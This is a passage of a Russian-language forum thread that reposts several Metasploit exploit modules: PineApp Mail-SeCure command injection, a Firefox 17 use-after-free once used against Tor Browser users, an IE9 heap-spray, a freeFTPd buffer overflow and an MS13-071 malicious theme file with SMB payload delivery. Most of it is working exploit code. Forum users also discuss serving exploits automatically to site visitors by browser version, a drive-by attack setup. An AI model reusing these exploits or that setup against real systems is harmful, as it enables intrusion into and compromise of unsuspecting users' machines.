      'DisclosureDate' => 'Jul 26 2013'
      ))
 
    register_options(
      [
        Opt::RPORT(7443)
      ],
      self.class
    )
 
  end
 
  def my_uri
    return normalize_uri("/admin/test_li_connection.php")
  end
 
  def get_cookies
    res = send_request_cgi({
      'uri' => my_uri,
      'vars_get' => {
        'actiontest' =>'1', # must be 1 in order to start the session
        'idtest' => rand_text_alpha(5 + rand(3)),
        'iptest' => "127.0.0.1" # In order to make things as fast as possible
      }
    })
    if res and res.code == 200 and res.headers.include?('Set-Cookie') and res.headers['Set-Cookie'] =~ /SESSIONID/
      return res.get_cookies
    else
      return nil
    end
  end
 
  def check
    # Since atm of writing this exploit there isn't patch available,
    # checking for the vulnerable component should be a reliable test.
    cookies = get_cookies
    if cookies.nil?
      return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Appears
  end
 
  def exploit
    print_status("#{rhost}:#{rport} - Retrieving session cookie...")
    cookies = get_cookies
    if cookies.nil?
      fail_with(Exploit::Failure::Unknown, "Failed to retrieve the session cookie")
    end
 
    print_status("#{rhost}:#{rport} - Executing payload...")
    send_request_cgi({
      'uri' => my_uri,
      'cookie' => cookies,
      'vars_get' => {
        'actiontest' =>'1', # must be 1 in order to trigger the vulnerability
        'idtest' => rand_text_alpha(5 + rand(3)),
        'iptest' => "127.0.0.1;#{payload.encoded}"
      }
    })
  end
 
end
 
# 74372F55C6135676   1337day.com [2013-07-30]   AD445681EBD07B5A #

PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command Execution

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command Execution',
      'Description'    => %q{
          This module exploits a command injection vulnerability on PineApp Mail-SeCure
        3.70. The vulnerability exists on the ldapsyncnow.php component, due to the insecure
        usage of the shell_exec() php function. This module has been tested successfully
        on PineApp Mail-SeCure 3.70.
      },
      'Author'         =>
        [
          'Dave Weinstein', # Vulnerability discovery
          'juan vazquez'    # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-185/']
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl python telnet'
            }
        },
      'Targets'        =>
        [
          [ 'PineApp Mail-SeCure 3.70', { }]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 26 2013'
      ))
 
    register_options(
      [
        Opt::RPORT(7443)
      ],
      self.class
    )
 
  end
 
  def my_uri
    return normalize_uri("/admin/ldapsyncnow.php")
  end
 
  def check
    # Since atm of writing this exploit there isn't patch available,
    # checking for the vulnerable component should be a reliable test.
    res = send_request_cgi({
      'uri' => my_uri,
      'vars_get' => {
        'sync_now' =>'1'
      }
    })
    if res and res.code == 200 and res.body =~ /window\.setTimeout\('loaded\(\)', 2500\);/
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end
 
  def exploit
    print_status("#{rhost}:#{rport} - Executing payload...")
    send_request_cgi({
      'uri' => my_uri,
      'vars_get' => {
        'sync_now' =>'1', # must be 1 in order to trigger the vulnerability
        'shell_command' => payload.encoded
      }
    })
  end
 
end
 
# F04CAB66D051C80C   1337day.com [2013-07-30]   1BFD309E8E5346E0 #
 
Вопрос в следующим, можно ли установить metasploit на удаленном сервере и настроить его таким образом чтобы пользователям с определенными параметрами попадали на определенный сплоит?
 
Вопрос в следующим, можно ли установить metasploit на удаленном сервере и настроить его таким образом чтобы пользователям с определенными параметрами попадали на определенный сплоит?
Да, подобные настройки произвести возможно, для этого вам нужно определиться с критериями фильтров и найти в интернете решение по организации этого момента, а так же задавать вопросы по теме тут.
С чем нужно определиться:
1) ОС -- В зависимости от Вашего выбора Windows/Linux настройки будут разные
2) Набор сплоитов, что и кому и в каком виде должно попадать к пользователям.
3) Понять распределение прав доступа и отсечение пользователей не прошедшие Ваши фильтры.




----------------------------------------------------------------------------------------------

Добавлено в [time]1375943218[/time]
Firefox onreadystatechange Event DocumentViewerImpl Use After Free
CVE-2013-1690, OSVDB-94584
This Metasploit module exploits a vulnerability found on Firefox 17.0.6, specifically an use after free of a DocumentViewerImpl object, triggered via an specially crafted web page using onreadystatechange events and the window.stop() API, as exploited in the wild on 2013 August to target Tor Browser users.

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox onreadystatechange Event DocumentViewerImpl Use After Free',
      'Description'    => %q{
        This module exploits a vulnerability found on Firefox 17.0.6, specifically an use
        after free of a DocumentViewerImpl object, triggered via an specially crafted web
        page using onreadystatechange events and the window.stop() API, as exploited in the
        wild on 2013 August to target Tor Browser users.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nils',        # vulnerability discovery
          'Unknown',     # 1day exploit, prolly the FBI
          'w3bd3vil',    # 1day analysis
          'sinn3r',      # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-1690' ],
          [ 'OSVDB', '94584'],
          [ 'BID', '60778'],
          [ 'URL', 'https://www.mozilla.org/security/announce/2013/mfsa2013-53.html' ],
          [ 'URL', 'https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html' ],
          [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=901365' ],
          [ 'URL', 'http://krash.in/ffn0day.txt' ],
          [ 'URL', 'http://hg.mozilla.org/releases/mozilla-esr17/rev/2d5a85d7d3ae' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Payload'        =>
        {
          'BadChars'       => "\x00",
          'DisableNops'    => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Firefox 17 & Firefox 21 / Windows XP SP3',
            {
              'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
              'RetGadget'  => 0x77c3ee16, # ret from msvcrt
              'StackPivot' => 0x76C9B4C2, # xcht ecx,esp # or byte ptr[eax], al # add byte ptr [edi+5Eh], bl # ret 8 from IMAGEHLP
              'VFuncPtr'   => 0x0c10100c  # Fake Function Pointer to the Sprayed Memory
            }
          ]
        ],
      'DisclosureDate' => 'Jun 25 2013',
      'DefaultTarget'  => 0))

  end

  def stack_pivot
    pivot = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
    pivot << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
    pivot << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
    pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
    return pivot
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    vprint_status("Agent: #{agent}")

    if agent !~ /Windows NT 5\.1/
      print_error("Windows XP not found, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    if agent !~ /Firefox\/17/ or agent !~ /Firefox\/21/
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    my_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource

    # build html
    code = [
      target['VFuncPtr'],
      target['RetGadget'],
      target['StackPivot'],
      junk
    ].pack("V*")
    code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
    js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
    js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))

    content = <<-HTML
<html>
<body>
<iframe src="#{my_uri}/iframe.html"></iframe>
</body></html>
    HTML

    # build iframe
    iframe = <<-IFRAME
<script>
var z="<body><img src='nonexistant.html' onerror=\\"\\" ></body>";
var test = new Array();
var heap_chunks;
function heapSpray(shellcode, fillsled) {
  var chunk_size, headersize, fillsled_len, code;
  var i, codewithnum;
  chunk_size = 0x40000;
  headersize = 0x10;
  fillsled_len = chunk_size - (headersize + shellcode.length);
  while (fillsled.length <fillsled_len)
    fillsled += fillsled;
  fillsled = fillsled.substring(0, fillsled_len);
  code = shellcode + fillsled;
  heap_chunks = new Array();
  for (i = 0; i<1000; i++)
  {
    codewithnum = "HERE" + code;
    heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
  }
}


function b() {
  for(var c=0;1024>c;c++) {
    test[c]=new ArrayBuffer(180);
    bufView = new Uint32Array(test[c]);
    for (var i=0; i < 45; i++) {
      bufView[i] = #{target['FakeObject']};
    }
  }
}

function a() {
  window.stop();
  var myshellcode = unescape("#{js_code}");
  var myfillsled = unescape("#{js_random}");
  heapSpray(myshellcode,myfillsled);
  b();
  window.parent.frames[0].frameElement.ownerDocument.write(z);
}

document.addEventListener("readystatechange",a,null);
</script>
    IFRAME

    print_status("URI #{request.uri} requested...")

    if request.uri =~ /iframe\.html/
      print_status("Sending iframe HTML")
      send_response(cli, iframe, {'Content-Type'=>'text/html'})
      return
    end

    print_status("Sending HTML")
    send_response(cli, content, {'Content-Type'=>'text/html'})

  end

end
 
Я сделал так что, например, пользователь с Firefox 17.0.6 переходит на страницу типа 127.0.0.1/firefox17.php. Как на этой странице разместить модуль metasploit, чтобы он сработал в автоматическом режиме и отдал пользователю полезную нагрузку?
Metasploit будет установлен на Linux сервере.
 
2zero_day Вы имеете представление о том, как устроенна работа данного пакета?

Добавлено в [time]1378383775[/time]
MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free

This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9, it seems to only affect certain releases of mshtml.dll. For example: This Metasploit module can be used against version 9.0.8112.16446, but not for 9.0.8112.16421. IE 8 requires a different way to trigger the vulnerability, but not currently covered by this module. The issue is specific to the browser's IE7 document compatibility, which can be defined in X-UA-Compatible, and the content editable mode must be enabled. An "onmove" event handler is also necessary to be able to trigger the bug, and the event will be run twice before the crash. The first time is due to the position change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable' object is created during a "SelectAll" command, and this object will be used later on for the crash. The second onmove event seems to be triggered by a InsertButton (or Insert-whatever) command, which is also responsible for the free of object CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and then passes this on to the next functions (GetLineInfo -> QIClassID). When this reference arrives in function QIClassID, an access violation finally occurs when the function is trying to call QueryInterface() with the bad reference, and this results a crash. Successful control of the freed memory may leverage arbitrary code execution under the context of the user. Note: It is also possible to see a different object being freed and used, doesn't always have to be CFlatMarkupPointer.

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free",
      'Description'    => %q{
        This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9,
        it seems to only affect certain releases of mshtml.dll. For example: This module
        can be used against version 9.0.8112.16446, but not for 9.0.8112.16421. IE 8
        requires a different way to trigger the vulnerability, but not currently covered
        by this module.
 
        The issue is specific to the browser's IE7 document compatibility, which can be
        defined in X-UA-Compatible, and the content editable mode must be enabled. An
        "onmove" event handler is also necessary to be able to trigger the bug, and the
        event will be run twice before the crash. The first time is due to the position
        change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable'
        object is created during a "SelectAll" command, and this object will be used later
        on for the crash. The second onmove event seems to be triggered by a InsertButton
        (or Insert-whatever) command, which is also responsible for the free of object
        CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will
        then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and
        then passes this on to the next functions (GetLineInfo -> QIClassID).  When this
        reference arrives in function QIClassID, an access violation finally occurs when
        the function is trying to call QueryInterface() with the bad reference, and this
        results a crash. Successful control of the freed memory may leverage arbitrary code
        execution under the context of the user.
 
        Note: It is also possible to see a different object being freed and used, doesn't
        always have to be CFlatMarkupPointer.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'corelanc0d3r',  # Vuln discovery, PoC
          'sinn3r'         # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2013-3184' ],
          [ 'OSVDB', '96182'   ],
          [ 'MSB', 'MS13-059'  ],
          [ 'BID', '61668'     ],
          [ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-194/' ],
          [ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-195/' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Vulnerable IE9 tested: 9.0.8112.16446
          [ 'Automatic', {} ],
          [ 'IE 9 on Windows 7 SP1 (mshtml 9.0.8112.16446)', {} ]
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00",
          'StackAdjustment' => -3500
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Privileged'     => false,
      'DisclosureDate' => "Jun 27 2013",
      'DefaultTarget'  => 0))
  end
 
  def rnd_dword
    rand_text_alpha(4).unpack("V").first
  end
 
  def get_fake_obj
    # edx,dword ptr [eax]
    # ...
    # call edx
    obj  = [0x20302020].pack("V*")  # EAX points to this (Target spray 0x20302020)
    obj << [rnd_dword].pack("V*")
    obj << [rnd_dword].pack("V*")
    obj << [rnd_dword].pack("V*")
    obj << [rnd_dword].pack("V*")
 
    return obj
  end
 
  # Target spray 0x20302020
  # ESI is our fake obj, with [esi]=0x20302020, [esi+4]=0x42424242, so on
  # eax=20302020 ebx=80004002 ecx=0250d890 edx=cccccccc esi=03909b68 edi=0250d8cc
  # eip=cccccccc esp=0250d87c ebp=0250d8a8 iopl=0         nv up ei ng nz na po cy
  # cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010283
  # cccccccc ??              ???
  def get_payload
    code  = ''
    code << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
    code << "\x61\x9d"                 # popad; popfd
    code << payload.encoded
 
    stack_pivot = [
      0x7c342643, # xchg eax, esp; pop edi; add [eax], al, pop ecx; ret
      0x0c0c0c0c
    ].pack("V*")
 
    p = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
 
    return p
  end
 
  def is_win7_ie9?(agent)
    (agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/)
  end
 
  # The meta-refresh seems very necessary to make the object overwrite more reliable.
  # Without it, it only gets about 50/50
  def get_html(cli, req)
    js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj, ::Rex::Arch.endian(target.arch))
    js_payload  = ::Rex::Text.to_unescape(get_payload, ::Rex::Arch.endian(target.arch))
 
    html = %Q|
    <html>
    <meta http-equiv="X-UA-Compatible" content="IE=7"/>
    <meta http-equiv="refresh" content="2"/>
    <head>
    <script language='javascript'>
    #{js_property_spray}
 
    var fake_obj = unescape("#{js_fake_obj}");
    var s = unescape("#{js_payload}");
 
    sprayHeap({shellcode:s});
 
    function setupPage() {
      document.body.style.position = 'absolute';
      document.body.contentEditable = 'true';
      document.body.style.right = '1';
    }
 
    function hitMe() {
      document.execCommand('SelectAll');
      document.execCommand('InsertButton');
      sprayHeap({shellcode:fake_obj, heapBlockSize:0x10});
      document.body.innerHTML = '#{Rex::Text.rand_text_alpha(1)}';
    }
    </script>
    </head>
    <body onload="setupPage()" onmove="hitMe()" />
    </html>
    |
 
    html.gsub(/^\t\t/, '')
  end
 
  def on_request_uri(cli, request)
    if is_win7_ie9?(request.headers['User-Agent'])
      print_status("Sending exploit...")
      send_response(cli, get_html(cli, request), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
    else
      print_error("Not a suitable target: #{request.headers['User-Agent']}")
      send_not_found(cli)
    end
  end
end
 
# EF8D8DE11256FBF4   1337day.com [2013-09-05]   9A773468E90AF2DD #
 
freeFTPd 1.0.10 PASS Command SEH Overflow (msf)

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
  
    include Msf::Exploit::Remote::Ftp
  
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'freeFTPd 1.0.10 PASS Command SEH Overflow',
            'Description'    => %q{
                    This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.
                credit goes to Wireghoul.
  
            },
            'Author'         =>
                [
                    'Wireghoul - www.justanotherhacker.com', # original poc
                    'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # metasploit module
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'OSVDB', '96517' ],
                    [ 'EDB', '27747' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh'
                },
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 600,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    #'DisableNops' => true
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP English SP3',   { 'Ret' => 0x00414226 , 'Offset' => 952 } ],
                ],
            'DisclosureDate' => 'Aug 21 2013',
            'DefaultTarget' => 0))
    end
  
    def check
        connect
        disconnect
  
        if (banner =~ /freeFTPd 1.0/)
            return Exploit::CheckCode::Vulnerable
        end
        Exploit::CheckCode::Safe
    end
  
    def exploit
        connect
  
        payload_size = payload.encoded.length
  
        buf = make_nops(1000)
        buf[(target['Offset']-11) - payload_size, payload_size] = payload.encoded
        buf[target['Offset']-5,5] = "\xe9\x98\xfe\xff\xff"
        buf[target['Offset'],4]   = [0xfffff9eb].pack("V")
        buf[target['Offset']+4,4] = [target.ret].pack("V")
  
        print_status("Sending exploit buffer...")
  
        #buffer = Rex::Text.pattern_create(1000)
        send_user(datastore['FTPUSER'])
        send_pass(buf)
  
        handler
        disconnect
    end
  
end
 
# F2B853B7F22932D0   1337day.com [2013-09-10]   88C1F514880B8DD7 #
 
MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::SMBServer
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability mainly affecting Microsoft Windows XP and Windows
        2003. The vulnerability exists in the handling of the Screen Saver path, in the [boot]
        section. An arbitrary path can be used as screen saver, including a remote SMB resource,
        which allows for remote code execution when a malicious .theme file is opened, and the
        "Screen Saver" tab is viewed.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Eduardo Prado', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2013-0810'],
          ['OSVDB', '97136'],
          ['MSB', 'MS13-071'],
          ['BID', '62176']
        ],
      'Payload'        =>
        {
          'Space'       => 2048,
          'DisableNops' => true
        },
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => 'false'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows XP SP3 / Windows 2003 SP2', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Sep 10 2013",
      'DefaultTarget'  => 0))
 
      register_options(
        [
          OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
          OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ])
        ], self.class)
  end
 
  def exploit
 
    if (datastore['UNCPATH'])
      @unc = datastore['UNCPATH']
      print_status("Remember to share the malicious EXE payload as #{@unc}")
    else
      print_status("Generating our malicious executable...")
      @exe = generate_payload_exe
      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
      @share = rand_text_alpha(5 + rand(5))
      @scr_file = "#{rand_text_alpha(5 + rand(5))}.scr"
      @hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i)
      @unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}"
    end
 
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    # Default Windows XP / 2003 theme modified
    theme = <<-EOF
; Copyright © Microsoft Corp. 1995-2001
 
[Theme]
DisplayName=@themeui.dll,-2016
 
; My Computer
[CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\DefaultIcon]
DefaultValue=%WinDir%explorer.exe,0
 
; My Documents
[CLSID\\{450D8FBA-AD25-11D0-98A8-0800361B1103}\\DefaultIcon]
DefaultValue=%WinDir%SYSTEM32\\mydocs.dll,0
 
; My Network Places
[CLSID\\{208D2C60-3AEA-1069-A2D7-08002B30309D}\\DefaultIcon]
DefaultValue=%WinDir%SYSTEM32\\shell32.dll,17
 
; Recycle Bin
[CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\DefaultIcon]
full=%WinDir%SYSTEM32\\shell32.dll,32
empty=%WinDir%SYSTEM32\\shell32.dll,31
 
[Control Panel\\Desktop]
Wallpaper=
TileWallpaper=0
WallpaperStyle=2
Pattern=
ScreenSaveActive=0
 
[boot]
SCRNSAVE.EXE=#{@unc}
 
[MasterThemeSelector]
MTSM=DABJDKT
    EOF
    file_create(theme)
    print_good("Let your victim open #{datastore['FILENAME']}")
 
    if not datastore['UNCPATH']
      print_status("Ready to deliver your payload on #{@unc}")
      super
    end
 
  end
 
  # TODO: these smb_* methods should be moved up to the SMBServer mixin
  # development and test on progress
 
  def smb_cmd_dispatch(cmd, c, buff)
    smb = @state[c]
    vprint_status("Received command #{cmd} from #{smb[:name]}")
 
    pkt = CONST::SMB_BASE_PKT.make_struct
    pkt.from_s(buff)
    #Record the IDs
    smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
    smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
    smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
    smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
 
    case cmd
      when CONST::SMB_COM_NEGOTIATE
        smb_cmd_negotiate(c, buff)
      when CONST::SMB_COM_SESSION_SETUP_ANDX
        wordcount = pkt['Payload']['SMB'].v['WordCount']
        if wordcount == 0x0D # It's the case for Share Security Mode sessions
          smb_cmd_session_setup(c, buff)
        else
          vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
          smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
        end
      when CONST::SMB_COM_TRANSACTION2
        smb_cmd_trans(c, buff)
      when CONST::SMB_COM_NT_CREATE_ANDX
        smb_cmd_create(c, buff)
      when CONST::SMB_COM_READ_ANDX
        smb_cmd_read(c, buff)
      else
        vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})")
        smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
    end
  end
 
 
  def smb_cmd_negotiate(c, buff)
    pkt = CONST::SMB_NEG_PKT.make_struct
    pkt.from_s(buff)
 
    dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
 
    dialect = dialects.index("NT LM 0.12") || dialects.length-1
 
    pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
    smb_set_defaults(c, pkt)
 
    time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
 
    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
    pkt['Payload']['SMB'].v['Flags1'] = 0x88
    pkt['Payload']['SMB'].v['Flags2'] = 0xc001
    pkt['Payload']['SMB'].v['WordCount'] = 17
    pkt['Payload'].v['Dialect'] = dialect
    pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode
    pkt['Payload'].v['MaxMPX'] = 50
    pkt['Payload'].v['MaxVCS'] = 1
    pkt['Payload'].v['MaxBuff'] = 4356
    pkt['Payload'].v['MaxRaw'] = 65536
    pkt['Payload'].v['SystemTimeLow'] = time_lo
    pkt['Payload'].v['SystemTimeHigh'] = time_hi
    pkt['Payload'].v['ServerTimeZone'] = 0x0
    pkt['Payload'].v['SessionKey'] = 0
    pkt['Payload'].v['Capabilities'] = 0x80f3fd
    pkt['Payload'].v['KeyLength'] = 8
    pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8)
 
    c.put(pkt.to_s)
  end
 
  def smb_cmd_session_setup(c, buff)
 
    pkt = CONST::SMB_SETUP_RES_PKT.make_struct
    smb_set_defaults(c, pkt)
 
    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
    pkt['Payload']['SMB'].v['Flags1'] = 0x88
    pkt['Payload']['SMB'].v['Flags2'] = 0xc001
    pkt['Payload']['SMB'].v['WordCount'] = 3
    pkt['Payload'].v['AndX'] = 0x75
    pkt['Payload'].v['Reserved1'] = 00
    pkt['Payload'].v['AndXOffset'] = 96
    pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest
    pkt['Payload'].v['Payload'] =
      Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
      Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
      Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature
    tree_connect_response = ""
    tree_connect_response << [7].pack("C")  # Tree Connect Response : WordCount
    tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand
    tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved
    tree_connect_response << [0].pack("v")  # Tree Connect Response : AndXOffset
    tree_connect_response << [0x1].pack("v")  # Tree Connect Response : Optional Support
    tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter
    tree_connect_response << [0x12].pack("v")  # Tree Connect Response : Word Parameter
    tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
    tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
    tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount
    tree_connect_response << "A:\x00" # Service
    tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters
    # Fix the Netbios Session Service Message Length
    # to have into account the tree_connect_response,
    # need to do this because there isn't support for
    # AndX still
    my_pkt = pkt.to_s + tree_connect_response
    original_length = my_pkt[2, 2].unpack("n").first
    original_length = original_length +  tree_connect_response.length
    my_pkt[2, 2] = [original_length].pack("n")
    c.put(my_pkt)
  end
 
  def smb_cmd_create(c, buff)
    pkt = CONST::SMB_CREATE_PKT.make_struct
    pkt.from_s(buff)
 
    if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/
      pkt = CONST::SMB_CREATE_RES_PKT.make_struct
      smb_set_defaults(c, pkt)
      pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
      pkt['Payload']['SMB'].v['Flags1'] = 0x88
      pkt['Payload']['SMB'].v['Flags2'] = 0xc001
      pkt['Payload']['SMB'].v['WordCount'] = 42
      pkt['Payload'].v['AndX'] = 0xff # no further commands
      pkt['Payload'].v['OpLock'] = 0x2
      # No need to track fid here, we're just offering one file
      pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0
      pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened
      pkt['Payload'].v['CreateTimeLow'] = @lo
      pkt['Payload'].v['CreateTimeHigh'] = @hi
      pkt['Payload'].v['AccessTimeLow'] = @lo
      pkt['Payload'].v['AccessTimeHigh'] = @hi
      pkt['Payload'].v['WriteTimeLow'] = @lo
      pkt['Payload'].v['WriteTimeHigh'] = @hi
      pkt['Payload'].v['ChangeTimeLow'] = @lo
      pkt['Payload'].v['ChangeTimeHigh'] = @hi
      pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file
      pkt['Payload'].v['AllocLow'] = 0x100000
      pkt['Payload'].v['AllocHigh'] = 0
      pkt['Payload'].v['EOFLow'] = @exe.length
      pkt['Payload'].v['EOFHigh'] = 0
      pkt['Payload'].v['FileType'] = 0
      pkt['Payload'].v['IPCState'] = 0x7
      pkt['Payload'].v['IsDirectory'] = 0
      c.put(pkt.to_s)
    else
      pkt = CONST::SMB_CREATE_RES_PKT.make_struct
      smb_set_defaults(c, pkt)
      pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
